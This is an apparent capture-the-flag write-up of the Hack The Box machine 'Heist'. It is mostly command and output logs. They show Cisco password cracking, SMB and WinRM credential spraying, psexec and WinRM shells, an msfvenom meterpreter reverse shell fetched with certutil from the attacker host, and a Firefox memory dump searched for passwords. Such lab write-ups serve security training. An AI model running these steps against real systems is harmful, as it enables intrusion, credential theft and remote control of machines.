Post

Hack The Box - Heist

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

Always remember to map a domain name to the machine’s IP address to ease your rooting !

1
$ echo "10.10.10.149 heist.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -sV -sT -sC heist.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-17 10:31 EDT
Nmap scan report for heist.htb (10.10.10.149)
Host is up (0.27s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open  msrpc         Microsoft Windows RPC
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 30s, deviation: 0s, median: 30s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-17 10:32:16
|_  start_date: N/A
5985/tcp  open  wsman
49669/tcp open  unknown

Lets first check out the http service on port 80.

We don’t have any credentials so lets try to login as a guest.

/issues.php:

This looks like a IT helpdesk ticketing system. It looks like Hazard is having issues with his cisco router and he has posted his configuration file.

/attachments/config.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

First thing to note is

1
service password-encryption

which tells us that all passwords in the configuration file are encrypted.

Next up, we get

1
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91

which has a Type 5 encrypted password. To crack it, I will be using this tool.

1
2
3
4
5
6
7
8
9
10
11
12
$ python3 cisco_pwdecrypt.py -u "\$1\$pdQG\$o8nrSzsGXeaduXrjlvKc91" -d /usr/share/wordlists/rockyou.txt
[*] Bruteforcing 'type 5' hash...

	Found 14344392 passwords to test.
	Testing: $1$pdQG$o8nrSzsGXeaduXrjlvKc91
	Hash Type = MD5
	Salt = pdQG
	Hash = o8nrSzsGXeaduXrjlvKc91

	[Status] 132/14344392 password tested...

[*] Password Found = stealth1agent

Lastly, we have

1
2
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

which both contains a username and a Type 7 encrypted password. To crack them, I will be using the same tool.

1
2
3
4
5
$ python3 cisco_pwdecrypt.py -t 0242114B0E143F015F5D1E161713
[*] Result: $uperP@ssword

$ python3 cisco_pwdecrypt.py -t 02375012182C1A1D751618034F36415408
[*] Result: Q4)sJu\Y8qz*A3?d

With all the credentials we have collected so far, lets create 2 files to store them.

user.txt:

1
2
3
4
Hazard
hazard
rout3r
admin

pass.txt:

1
2
3
stealth1agent
$uperP@ssword
Q4)sJu\Y8qz*A3?d

With some credentials, lets move on to the smb service on port 445. I will be using the auxiliary/scanner/smb/smb_login module in Metasploit to test the different combinations.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ msfconsole
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS heist.htb
RHOSTS => heist.htb
msf5 auxiliary(scanner/smb/smb_login) > set USER_FILE user.txt
USER_FILE => user.txt
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE pass.txt
PASS_FILE => pass.txt
msf5 auxiliary(scanner/smb/smb_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/smb/smb_login) > set VERBOSE false
VERBOSE => false
msf5 auxiliary(scanner/smb/smb_login) > run

[+] 10.10.10.149:445      - 10.10.10.149:445 - Success: '.\Hazard:stealth1agent'
[+] 10.10.10.149:445      - 10.10.10.149:445 - Success: '.\hazard:stealth1agent'
[*] heist.htb:445         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Using hazard:stealth1agent, lets see what we can access in the smb shares!

1
2
3
4
5
6
7
8
9
$ smbmap -H heist.htb -u hazard -p stealth1agent
[+] Finding open SMB ports....
[+] User SMB session establishd on heist.htb...
[+] IP: heist.htb:445	Name: heist.htb                                         
	Disk                                                  	Permissions
	----                                                  	-----------
	ADMIN$                                            	NO ACCESS
	C$                                                	NO ACCESS
	IPC$                                              	READ ONLY

I guess the smb service is a dead end? Maybe not. Using Impacket’s lookupsid.py, we are able to enumerate for other users on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python lookupsid.py Hazard:stealth1agent@heist.htb
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

From this, we are able to find out that the domain is SUPPORTDESK. With these new users, lets update our user.txt.

1
2
3
4
5
6
7
8
Hazard
hazard
rout3r
admin
Chase
Jason
support
Administrator

And run the auxiliary/scanner/smb/smb_login module again.

1
2
3
4
5
6
7
8
9
msf5 auxiliary(scanner/smb/smb_login) > set DOMAIN SUPPORTDESK
DOMAIN => SUPPORTDESK
msf5 auxiliary(scanner/smb/smb_login) > run

[+] 10.10.10.149:445      - 10.10.10.149:445 - Success: 'SUPPORTDESK\Hazard:stealth1agent'
[+] 10.10.10.149:445      - 10.10.10.149:445 - Success: 'SUPPORTDESK\hazard:stealth1agent'
[+] 10.10.10.149:445      - 10.10.10.149:445 - Success: 'SUPPORTDESK\Chase:Q4)sJu\Y8qz*A3?d'
[*] heist.htb:445         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Alright! We got another set of credentials! Lets try to access the smb shares using Chase:Q4)sJu\Y8qz*A3?d!

1
2
3
4
5
6
7
8
9
$ smbmap -H heist.htb -u Chase -p "Q4)sJu\Y8qz*A3?d" -d SUPPORTDESK
[+] Finding open SMB ports....
[+] User SMB session establishd on heist.htb...
[+] IP: heist.htb:445	Name: heist.htb                                         
	Disk                                                  	Permissions
	----                                                  	-----------
	ADMIN$                                            	NO ACCESS
	C$                                                	NO ACCESS
	IPC$                                              	READ ONLY

Still nothing? I guess the smb service really is a dead end :(

If we go back to our reconnaissance results, there is actually one more service on port 5985: wsman. After some research, the wsman service is the WinRM service on the machine. Could we possbily use it to remotely execute commands on the machine? But first, we need to know what credentials we can use by using the auxiliary/scanner/winrm/winrm_login module in Metasploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf5 auxiliary(scanner/smb/smb_login) > use auxiliary/scanner/winrm/winrm_login
msf5 auxiliary(scanner/winrm/winrm_login) > set RHOSTS heist.htb
RHOSTS => heist.htb
msf5 auxiliary(scanner/winrm/winrm_login) > set USER_FILE username.txt
USER_FILE => username.txt
msf5 auxiliary(scanner/winrm/winrm_login) > set PASS_FILE password.txt
PASS_FILE => password.txt
msf5 auxiliary(scanner/winrm/winrm_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/winrm/winrm_login) > set VERBOSE false
VERBOSE => false
msf5 auxiliary(scanner/winrm/winrm_login) > set DOMAIN SUPPORTDESK
DOMAIN => SUPPORTDESK
msf5 auxiliary(scanner/winrm/winrm_login) > run

[+] 10.10.10.149:5985 - Login Successful: SUPPORTDESK\Chase:Q4)sJu\Y8qz*A3?d
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

user.txt

Okay… So the same Chase user have access to both the smb and WinRM service. To establish a shell, I used Alamot’s winrm_shell.rb with the following configuration settings:

1
2
3
4
5
6
7
8
require 'winrm'
conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.149:5985/wsman',
  transport: :ssl,
  user: 'SUPPORTDESK\Chase',
  password: 'Q4)sJu\Y8qz*A3?d',
  :no_ssl_peer_verification => true
)

And now we execute the WinRM shell…

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ruby winrm_shell.rb
PS supportdesk\chase@SUPPORTDESK Documents> cd ..
PS supportdesk\chase@SUPPORTDESK Chase> cd Desktop
PS supportdesk\chase@SUPPORTDESK Desktop> dir
    Directory: C:\Users\Chase\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/22/2019   9:08 AM            121 todo.txt
-a----        4/22/2019   9:07 AM             32 user.txt
                                                                                                                   
PS supportdesk\chase@SUPPORTDESK Desktop> more user.txt
a127XXXXXXXXXXXXXXXXXXXXXXXXXXXX

root.txt (1)

When I first did this machine, I found the SHA-256 hash of the Administrator’s password which I was able to somehow crack it using an online website.

From what we know, there was a IIS web server running on port 80 so I checked out C:\inetpub\wwwroot.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS supportdesk\chase@SUPPORTDESK inetpub> dir
 Volume in drive C has no label.
 Volume Serial Number is 78E3-E62D

 Directory of C:\inetpub\wwwroot

04/21/2019  05:42 PM    <DIR>          .
04/21/2019  05:42 PM    <DIR>          ..
04/21/2019  05:41 PM    <DIR>          attachments
04/21/2019  05:41 PM    <DIR>          css
04/21/2019  11:51 AM             1,240 errorpage.php
04/21/2019  05:41 PM    <DIR>          images
04/21/2019  11:33 AM               279 index.php
04/22/2019  08:38 AM             3,034 issues.php
04/21/2019  05:41 PM    <DIR>          js
04/22/2019  06:48 AM             2,657 login.php
               4 File(s)          7,210 bytes
               6 Dir(s)   7,923,224,576 bytes free

I skimmed through the pages until I came across login.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
        if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === 
		'91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
                $_SESSION['admin'] = "valid";
                header('Location: issues.php'); 
        }
        else
                header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
        if( $_GET['guest'] === 'true' ) {
                $_SESSION['guest'] = "valid";
                header('Location: issues.php');
        }
}
?>

The SHA-256 hash of the admin’s password was hardcoded in login.php. I immediately tried different online password cracking websites until I came across this website. I supplied the hash and got the password 4dD!5}x/re8]FBuZ.

Using Impacket’s psexec.py, I was able to establish a shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python psexec.py Administrator:'4dD!5}x/re8]FBuZ'@heist.htb
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on heist.htb.....
[*] Found writable share ADMIN$
[*] Uploading file igPymROC.exe
[*] Opening SVCManager on heist.htb.....
[*] Creating service KKCH on heist.htb.....
[*] Starting service KKCH.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>more root.txt
50dfXXXXXXXXXXXXXXXXXXXXXXXXXXXX

root.txt (2)

So apparently there was another or more “proper” way to solving this box by using a very certain process. But first, lets upgrade to a meterpreter shell.

To do so, we will first need to create our executable which will establish the reverse connection back to our listener. After that, move the executable into the directory that the SimpleHTTPServer is running from.

1
2
3
4
5
6
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.XXX.XXX LPORT=1337 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes

And we start our listener on port 1337…

1
2
3
4
5
6
7
8
9
10
11
$ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LPORT 1337
LPORT => 1337
msf5 exploit(multi/handler) > set LHOST 10.10.XXX.XXX
LHOST => 10.10.14.61
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.XXX.XXX:1337

Back to our WinRM shell, we retrieve the executable from our SimpleHTTPServer using certutil.exe and run it.

1
2
3
4
5
6
PS supportdesk\chase@SUPPORTDESK Chase> certutil.exe -urlcache -split -f http://10.10.XXX.XXX/shell.exe
****  Online  ****
  000000  ...
  01204a
CertUtil: -URLCache command completed successfully.
PS supportdesk\chase@SUPPORTDESK Documents> cmd.exe /k shell.exe

Back on our listener, we obtained a meterpreter shell.

1
2
3
4
[*] Sending stage (179779 bytes) to 10.10.10.149
[*] Meterpreter session 1 opened (10.10.XXX.XXX:1337 -> 10.10.10.149:49694) at 2019-08-31 09:04:09 -0400

meterpreter >

When we list all the processes running on the box using the ps command, we noticed that firefox.exe is currently running.

1
2
3
4
5
6
7
8
9
10
11
meterpreter > ps
Process List
============

 PID   PPID  Name                       Arch  Session  User               Path
 ---   ----  ----                       ----  -------  ----               ----
796   4660  firefox.exe                x64   1        SUPPORTDESK\Chase  C:\Program Files\Mozilla Firefox\firefox.exe
1620  796   firefox.exe                x64   1        SUPPORTDESK\Chase  C:\Program Files\Mozilla Firefox\firefox.exe
2264  796   firefox.exe                x64   1        SUPPORTDESK\Chase  C:\Program Files\Mozilla Firefox\firefox.exe
5912  796   firefox.exe                x64   1        SUPPORTDESK\Chase  C:\Program Files\Mozilla Firefox\firefox.exe
6068  796   firefox.exe                x64   1        SUPPORTDESK\Chase  C:\Program Files\Mozilla Firefox\firefox.exe

Lets try to dump out the process’s memory to see if we can extract any credentials! I will be using Sysinternals’s procdump.exe. Since we already have a meterpreter shell, we can just use the upload command to transfer it over.

1
2
3
4
meterpreter > upload procdump.exe
[*] uploading  : procdump.exe -> procdump.exe
[*] Uploaded 636.16 KiB of 636.16 KiB (100.0%): procdump.exe -> procdump.exe
[*] uploaded   : procdump.exe -> procdump.exe

Next up, we spawn a cmd.exe shell and run procdump.exe on the firefox.exe process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > shell
Process 3708 created.
Channel 102 created.
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Chase>procdump.exe -accepteula -ma 796
procdump.exe -accepteula -ma 796

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[19:30:23] Dump 1 initiated: C:\Users\Chase\firefox.exe_190831_193023.dmp
[19:30:24] Dump 1 writing: Estimated dump file size is 473 MB.
[19:30:29] Dump 1 complete: 474 MB written in 5.2 seconds
[19:30:29] Dump count reached.

With that done, we exit out of our cmd.exe and use the download command to retrieve the process dump.

1
2
3
4
5
6
C:\Users\Chase>exit
exit
meterpreter > download C:\\Users\\Chase\\firefox.exe_190831_193023.dmp
[*] Downloading: C:\Users\Chase\firefox.exe_190831_193023.dmp -> firefox.exe_190831_193023.dmp
[*] Downloaded 462.05 MiB of 462.05 MiB (100.0%): C:\Users\Chase\firefox.exe_190831_193023.dmp -> firefox.exe_190831_193023.dmp
[*] download   : C:\Users\Chase\firefox.exe_190831_193023.dmp -> firefox.exe_190831_193023.dmp

The final step is simply to run strings on it and grep for password. There were many lines containing password but I came across this line:

1
:http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

The password seems to be the value for login_password. Refer to root.txt (1) on how to establish a shell using the credentials we found.

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.